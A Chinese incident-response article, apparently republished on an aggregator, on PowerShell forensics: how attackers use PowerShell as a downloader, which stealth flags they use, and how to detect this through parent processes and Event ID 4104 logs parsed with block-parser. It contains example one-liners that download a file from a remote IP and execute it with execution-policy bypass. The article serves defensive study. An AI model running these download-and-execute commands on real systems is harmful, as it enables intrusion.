huasec 02月08日
应急响应之powershell取证
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

PowerShell在Windows系统中应用广泛,也被攻击者利用进行多种恶意活动。文章介绍了攻击者的操作方式,如下载恶意脚本并执行等,还提到了检测观察PowerShell进程父子关系的方法,以及相关日志的解析工具和使用方法。

🎯PowerShell被攻击者广泛用于多种恶意活动

📥攻击者通过多种方式下载并执行恶意脚本

👀检测PowerShell进程父子关系以识别攻击

📄介绍解析PowerShell相关日志的工具及方法

原创 ir社区 2021-07-27 09:02

powershell取证

                                 01


介绍


      PowerShell在Windows操作系统中应用越来越广泛,在带来方便的同时,它还为攻击者提供了一套几乎前所未有的功能。PowerShell 可以实现几乎所有可以想象的恶意活动:权限提升、凭据盗窃、横向移动、数据破坏、持久性、数据泄露等等。恶意PowerShell 正在被广泛使用。通常攻击者会使用powershell做下载器,从远程服务器下载恶意ps脚本到受害机器,然后使用start- process、Invoke-Item或file将远程文件的内容写到到受害机器的内存中并从那里执行它。

例如:从远程下载1.txt文件保存在C:\Users\<user>\AppData\Roaming路径下并执行

(New-Object Net.WebClient).downloadfile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Invoke-Item$env:Appdata"\whoami.txt"

当然上述例子,也可以换种方式来写,

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-nop -Exec Bypass -Command (New-ObjectSystem.Net.WebClient).DownloadFile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Start-Process $env:APPDATA"\whoami.txt"

DownloadString()不下载文件到主机上,但它将远程文件的内容直接复制到受害机器的内存中。这种技术被广泛用于无文件攻击中。如下,1.txt中是whoami,通过powershell调用执行whoami

另外,攻击者还会使用PowerShell中各种可用的参数选项来使操作尽可能隐蔽。以下是在攻击中广泛使用的参数

- WindowStyle hidden / -w hidden: 对用户隐藏程序窗口

-Exec Bypass: 绕过/忽略像Restricted这样限制PowerShell脚本运行的执行策略

-Command / -c: PowerShell终端执行任何命令

-EncodedCommand/ -e/ --enc: 将编码后的参数作为命令行传递

-Nop / -noprofile: 忽略Profile文件中的命令。


02


检测

观察PowerShell进程的父子关系

通常,当我们使用windows开始菜单或直接点击powershell文件运行PowerShell时,它会在进程Explorer .exe下启动,

但是在PowerShell攻击中,PowerShell脚本/命令是通过命令行进程启动的,因此在攻击中PowerShell进程的父进程是cmd.exe。当然有些正常环境也是使用cmd启动powershell,故需要结合cmd的父进程是否为恶意。

日志上

Microsoft-Windows-PowerShell - Operational.evtx记录了主机上的powershell历史执行命令。其中事件ID 4104(执行远程命令)中的 Scriptblock 文本通常包含执行操作的代码。

可以使用block-parser进行解析,下载地址:

https://github.com/matthewdunwoody/block-parser

依赖库:lxmlpython-evtx

使用方法:

将所有powershell脚本解析到一个文件中>python block-parser.py -a -foutput "Microsoft-Windows-PowerShell%4Operational.evtx"将每个powershell脚本单独解析到一个文件中>python block-parser.py -o  output2  "Microsoft-Windows-PowerShell%4Operational.evtx"




Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

PowerShell 取证 恶意活动 检测方法
相关文章